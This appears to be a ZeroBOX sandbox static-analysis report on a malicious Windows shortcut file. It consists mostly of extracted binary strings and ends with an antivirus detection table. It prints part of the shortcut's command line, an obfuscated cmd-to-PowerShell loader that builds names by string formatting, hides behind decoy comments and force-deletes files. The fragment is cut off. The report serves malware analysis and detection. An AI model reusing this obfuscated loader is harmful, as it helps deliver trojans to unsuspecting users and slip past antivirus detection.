Static | ZeroBOX

%windir%\system32\cmd.exe

qqqqqqqqqqqqqqqqOqrq

xqwqqqqqqqqqqqpqqqsqqqqqqqqaqqwqqqpqqq

qqqqrqqq

qQq4qq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqgqtq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq#q

qQq4qq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqgqtq

pqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqA

pvqqqq

qqqqqq7q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqgqspuqqqsqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqYqqqqpqqqqqqtq9q

qqqqqqqqqqqqqqqqqqqqqq_qsp

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqQqqq

pqqqqqq5q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqaqsq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq_qqqWfqqqqqq

tqqq\qqq

yqqqxqqq{qqqKqqq}qqq|qqq

qqq~qqqaqqq`qqqcqqqbqqqeqqqdqqqgqqqfqqqiqqqhqqqkqqqjqqqmqqqlqqqoqqqnqqqQqqqPqqqSqqqRqqqUqqqTqqqWqqqVqqqYqqqXqqq[qqqZqqq]qqq

^qqqAqqq@qqqCqqqBqqqEqqqDqqqGqqqFqqqIqqqHqqq

JqqqMqqq

OqqqNqqq1qqq0qqq3qqq2qqq5qqq4qqq7qqq6qqq9qqq8qqq;qqq:qqq=qqq<qqq?qqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcqpqwqqqtqqq}qqqqqqqqqqqqqqqqqqqqqqq!

pqqqqqqqqqqqq!q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcqsp

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqzqqq2qqqqqq!q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqaqsprqqqyqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

vqqqqqq5q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqgqpq

zqqqqqqqqqqqqqqqqqqqqqqqA

pqqqqqqqqqqqq"q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqaqpq

xqqqqqqqqqqqqqqqqqqqqqqqA

pqqqqqqqqqqqq;q"q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqoqsp{qqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq_qqq|qqqqqqq5q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqoqsq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq]qqq$qqqqqqq.q=q

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcqsp

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq^qqq}sqqqqqqpqqqsqqqrqqquqqqtqqqwqqqvqqqyqqqxqqq{qqqzqqq}qqq|qqq

qqq~qqqaqqq`qqqcqqqbqqqeqqqdqqqgqqqfqqqiqqqhqqqkqqqjqqqmqqqlqqqoqqqnqqq

PqqqSqqqRqqqUqqqTqqqWqqqVqqq

Xqqq[qqqZqqq

Aqqq@qqqCqqqBqqqEqqqDqqqGqqqFqqq

MqCqAqCqDq_qBq_q@qFq_qYq

Oq|q{q|q{qMqOq|q{qMqq

Oq|q{qMqOq|q{q|q{q|q{qy

|q{q|q{qMqQq@q_qQqq

QqQqOq|q{q|q{qq

|q{q|q{q

TQqhQCqDq_q@q

QqBq@qm

QqQq|q{q|q{qQq6@QqhQCq@q_qHq

|q{q|q{qQqQqQqQqQq[qQqd

|q{q|q{qQq6@Qqu

Xq|q{q|q{q

Qq0q<q=q[qXq

|q{q|q{qQqQqQqQqQq[qQq0qq

qQq|q{qQq

[qQqYq"q%q#qXq|q{qQqQqQqQqQq[qQq7q8q$q

|q{q|q{qQq

QqYq:q(q2qXq|q{qQq

Xq|q{qQq

|q{qQq

|q{q|q{qMqQqCq_qQqq

Oq|q{q|q{qq

_qQqCqEq5

|q{q|q{q

Qq0q<q=qQq

|q{q|q{qQq6@Qq

Qq0q<q=qQq

|q{q|q{qQq6@Qq

Qq|q{q|q{qQqQqQqQqQq[qQq

QqHqDqTq]qQq

QqHqIqTq|q{qQqQqQqQqQqQqQqYq

KqQqCqCq5

Xq|q{q|q{q

TQqqqqq

!?6|{k{qqq|895#qqs

qquqysqqq?A(

tmqq2r850%

v<2!2A

qq#xnq1[

'm"K$wn

qq#xnq1[

vyn!J)

qq#xnq1[

}7xn%/

PnznJ"

9m&S?I

qq#xnq1[

pF!&(F

qq#xnq1[

DhO7:)

qq#xnq1[

&qqqq84?5

qqAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcqsp

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqLqqqHRqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

&<9% eO

,zhzTe

m-e`b{

&H?r0a

}hhCAC%9}9

'L=e0e

+=8440

cWSdF7hb

{H6g8MsH0W

"&4lhU|zP:f

X:8fhPf{

qq|qqq

qqqsqqq

qqqrqqq

qqquqqq

qqqeqqq

qqqtqqq

qqqwqqq

qqqyqqqqpqqxqqqapqq}qqq)pqq|qqq

pqqzqqq

pqqdqqq

pqqqqqq

pqqnqqqrqqq

TQqqqqqnqqqpqqqqqqqnqqqwqqq

qqnqqqjqqqCqAq@qBq5

QqBqKqEqGqKqAq@qqqqqnqqqpqqqqqqqnqqqpqqqqqqqnqqquqqq3q

qqqnqqqQqqq@qBq]qQqAq]qQqAq]qQqFq@q@qQq&q8q?qBqCq=q4q&q

q.q@qAqqq1qqqQ(\

p1qqqq

p1qqqqqqqqqqqrqqqqqqqrqqqqqqqpqqqqqqqpqqqqc

qqqqqqqqqqqqqqqqpptpqqqqqqquqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

v2H2pg

@Is4;iC

qqqqAq]qQqFq@q@qQq&q8q?qBqCq=q4q&q

yqqq(\

p1qqqar

p1qqqqqqqqqqqrqqqqqqqrqqqqqqqpqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

&,=m$eO

=XARDn

4pA+gg

eL&Gq}

)o?D[o

_BEKG3

*$eN8.

32{ekd

ueU~5Rh

UOo/Hc4

&,9m&eOBJ

|.k`~0DMz@<

_M-Fim+

C+g6av:

L$FI%FI

`^+_eV

&.=*$i

TcD/yrG

dfL(eM_8

U$ 5$h

}-dPy)

xytA4hy

t6u$6u

l(L~\X

366fv

S,E{4e

MEok=#36pppp

Lqppppp\pppppppsqqpyppppppp[qppvpqp6qpppppppp

rp6qpppp

pLrpp6

iPp@FHEIAEH^

iPpBIEDDGII^

pVqpp6

iPpEGAEHCBE^

iPpG@DC@GCD^

iPpFBACGAFF^

iPpAFCCHGDC^

iPpHIFCIGHG^

X:u?D:!M

P^D6D

0b)04n

C*q[w@/N_C

KZ):/S

<qf?tF

0$na|

zp $Gqk

zE#}F?

%F.m"[;A

Z5On2yI

f.%*Re

TC~7w%

pOEQd-

0^N#Ii

$9/N#v

dYGHH%

;$yS

"hpn.R

T38HsThQ8

V_$nN@m#

Mb}GR}@

v6s$s;Q

7lQ+U;

2dYT/[FI

NY\m'pHaA

XWvxPeY

|/k\B5

|4m;AB

3G0@F?

S-)*>|

(2Gzi+

XZ=!\f

%U=%P&

6'<(a

;4qBtz

p)Gr1i

h(PytO

&3qk4O

GDk2{@

>t(]Y3

P\p#b2

P!}T":%

k"&!.R

0F1at'?

)e|ZZ6DV

(e:Bwc

b7P{oz

#v?2E|N

-K'wqp

[~PrOI?6

!{LK;f?C

v:ClR

~x#*P4G

dX,*Ty

j_lLC

pCqHsp

-"JtO``

YxE9cwJ\

YUyw1~=

Ckw$*

|anxt4

+/M.Hv?

gi+C`J

LP>oLz

cK28eC

W<P{ev

~NyR-9

kI}csG

9g~7*s

9dEFbe

S^k'Ed-2]

!]lyOc

\#\c~f

+zIzH=

f[zjm:S

Z :aVf

#dju2e

A[sP$%&

W4Cb Dsb

#5K 5w

_t/SmG2

"|PmGH

^I$B^[

QU9Y)H

6;v}gj"`2Y

{`=:Er

p4:M2i

3*hZ!L@

Ywyz<(

lAO u_w

JGVip*

+pnp<z

56_he&

a@(OqN5

/x>#" PV

IZ+PZm

2=<41"

rv;#]2

@UWj>7

E%M1]%p

NeK~{q

0lKsRbC

aab)5

aQ~p7pA

n{wOkQ6

f9[g90

Jc;K)'

cJZ%.},

:{.UZ0Y0

~.5N:X

1X#&wL#

ob]ZFT?

5^U:gu

W-!%$B

c.6`Ww>w [

~W.O|'

HBZ&+'

CP/l!%

}?g~?L-

^/ws$Y

B&<fIL

{yFX}O

I_:[R4

FGaM#3u

\eepaQ;r

A^g:#A

9@V{P\

ufwf{C

V6X`si

]1{KIH

AN;DBG

kWyybX+

]a|1[x

\h(LC8

)]g1>W

H\O'F9r

Gz8?[K

.4LB-Tn8G

=KHx7@

n%JV(N

y #+WA

L@}|q9

lVro>}

MPtbblH^r

e;?USg

^0jPy`s

GMZTb9

'yWl+A

!7lNQ|

hwp File

/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\WindowsPowershell\*.exe ^| findstr /i rshell.exe') do (if exist "%f" (%f "function building{param($honor); <#conclusion sign#>${) } = $honor.('{1}{3}{2}{0}' -f 'g','sub','rin','st').Invoke(0,$honor.length-4) + ''; <#shake fix#>return ${) };};function front{param($technology);<#hearing develop#> remove-item <#turn hat#> -path $technology <#driver front#> -force;};function room{param($myth,$angry,$result,$innocent,$thought);<#decade assistance#> ${~``=.-*}=New-Object ('{0}{5}{1}{4}{2}{3}' -f 'Syst','O.Fi','tre','am','leS','em.I')(<#e

%windir%\system32\cmd.exe

Antivirus	Signature
Bkav	Clean
Lionic	Clean
ClamAV	Clean
CTX	lnk.trojan.generic
CAT-QuickHeal	Clean
Skyhigh	BehavesLike.Dropper.tx
ALYac	Clean
Malwarebytes	Clean
Zillya	Clean
Sangfor	Clean
CrowdStrike	Clean
K7GW	Clean
K7AntiVirus	Clean
huorong	HEUR:Trojan/LNK.Runner.b
Baidu	Clean
VirIT	Clean
Symantec	Scr.Mallnk!gen4
ESET-NOD32	LNK/Agent.AHE
TrendMicro-HouseCall	HEUR_LNKEXEC.A
Avast	LNK:Agent-HN [Trj]
Cynet	Clean
Kaspersky	HEUR:Trojan.Multi.Agent.gen
BitDefender	Clean
NANO-Antivirus	Clean
ViRobot	Clean
MicroWorld-eScan	Clean
Tencent	Win32.Trojan.Agent.Kflw
Sophos	Mal/PowLnkObf-A
F-Secure	Clean
DrWeb	Clean
VIPRE	Clean
TrendMicro	HEUR_LNKEXEC.A
CMC	Clean
Emsisoft	Clean
Ikarus	Clean
FireEye	Clean
Jiangmin	Clean
Varist	Clean
Avira	Clean
Fortinet	LNK/Agent.AHE!tr
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	Mal/PowLnkObf-A
Microsoft	Clean
Google	Detected
AhnLab-V3	Clean
Acronis	Clean
McAfee	Clean
TACHYON	Clean
VBA32	Trojan.Link.Crafted
Zoner	Clean
Rising	Trojan.PSRunner/LNK!1.DB7E (CLASSIC)
Yandex	Clean
SentinelOne	Clean
MaxSecure	Clean
GData	Clean
AVG	LNK:Agent-HN [Trj]
Panda	Clean
alibabacloud	Trojan:Win/Agent.AJM